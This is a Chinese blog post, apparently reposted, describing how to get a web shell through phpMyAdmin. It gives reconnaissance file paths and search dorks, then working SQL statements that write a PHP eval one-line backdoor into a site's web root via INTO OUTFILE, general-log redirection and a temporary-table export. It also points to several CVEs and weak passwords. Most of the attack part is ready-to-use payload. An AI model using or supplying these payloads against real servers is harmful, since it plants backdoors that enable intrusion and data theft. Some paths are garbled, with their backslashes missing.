phpMyadmin的Getshell思路

时间:2020-09-09 19:05:24   收藏:0   阅读:54

本文为这个大佬创作:https://www.bugfor.com/web/2822.html。

phpMyadmin是一个以PHP为基础的MySQL数据库管理工具,使网站管理员可通过Web接口管理数据库

phpMyadmin简介

phpMyadmin是一个以PHP为基础的MySQL数据库管理工具,使网站管理员可通过Web接口管理数据库

信息收集

此部分主要需要收集的是网站物理路径,否则后续无法通过URL连接Shell

物理路径

select @@datadir;

技术图片

# Windows

c:windowsphp.ini # php配置文件

c:windowssystem32inetsrvMetaBase.xml # IIS虚拟主机配置文件

# Linux

/etc/php.ini # php配置文件

/etc/httpd/conf.d/php.conf

/etc/httpd/conf/httpd.conf # Apache配置文件

/usr/local/apache/conf/httpd.conf

/usr/local/apache2/conf/httpd.conf

/usr/local/apache/conf/extra/httpd-vhosts.conf # 虚拟目录配置文件

site:xxx.com warning

site:xxx.com "fatal error"

www.xxx.com/test.php

www.xxx.com/ceshi.php

www.xxx.com/info.php

www.xxx.com/phpinfo.php

www.xxx.com/php_info.php

www.xxx.com/1.php

phpMyAdmin/libraries/selectlang.lib.php

phpMyAdmin/darkblueorange/layout.inc.php

phpmyadmin/themes/darkblue_orange/layout.inc.php

phpMyAdmin/index.php?lang[]=1

phpMyAdmin/darkblueorange/layout.inc.php phpMyAdmin/index.php?lang[]=1

/phpmyadmin/libraries/lect_lang.lib.php

?

/phpMyAdmin/phpinfo.php

/phpmyadmin/themes/darkblue_orange/layout.inc.php

/phpmyadmin/libraries/select_lang.lib.php

/phpmyadmin/libraries/mcrypt.lib.php

其它信息

select version(); -- 查看数据库版本

select @@datadir; -- 查看数据库存储路径

show VARIABLES like ‘%char%‘; -- 查看系统变量

GetShell

前提条件

select @@secure_file_priv -- 查询secure_file_priv

-- secure_file_priv=NULL,禁止导入导出

-- secure_file_priv=‘‘,不限制导入导出

-- secure_file_priv=/path/,只能向指定目录导入导出

select load_file(‘c:/phpinfo.php‘); -- 读取文件

select ‘123‘ into outfile ‘c:/shell.php‘; -- 写入文件

常规GetShell

直接通过SQL查询写入shell

-- 假设物理路径为 "G:phpStudyWWW"

select ‘<?php eval($_POST["pwd"]);?>‘ into outfile ‘G:/phpStudy/WWW/shell.php‘;

日志GetShell

MySQL5.0版本以上会创建日志文件,通过修改日志的全局变量打开日志并指定日志保存路径,再通过查询写入一句话木马,此时该木马会被日志记录并生成日志文件,从而GetShell。但是前提是要对生成的日志文件有读写权限。

show variables like ‘%general%‘;

Variable_name Value

general_log OFF

general_log_file G:phpStudyMySQLdataFengSec.log

set global general_log = "ON"; -- 打开日志保存

set global general_log_file = "G:/phpstudy/WWW/log.php"; -- 设置日志保存路径,需先得知网站物理路径,否则即使写入了Shell也无法通过URL连接

select ‘<?php eval($_POST[pwd]); ?>‘;

新表GetShell

技术图片

技术图片

<?php eval($_POST[pwd]); ?>‘

技术图片

-- 假设物理路径为 "G:phpStudyWWW"

select * from shell_table into outfile "G:/phpstudy/WWW/shell.php";

技术图片

Drop TABLE IF EXISTS shell_table;

Create TABLE shell_table (xiaoma text NOT NULL) -- 建表

Insert INTO shell_table (xiaoma) VALUES(‘<?php eval($_POST[1]);?>‘); -- 写入

select * from shell_table into outfile ‘G:/phpstudy/WWW/shell.php‘; -- 导出

Drop TABLE IF EXISTS shell_table; -- 删表

特殊版本GetShell

CVE-2013-3238

CVE-2012-5159

CVE-2009-1151

PhpMyAdmin配置文件/config/config.inc.php存在命令执行

弱口令&万能密码

评论(0
© 2014 mamicode.com 版权所有 京ICP备13008772号-2  联系我们:gaon5@hotmail.com
迷上了代码!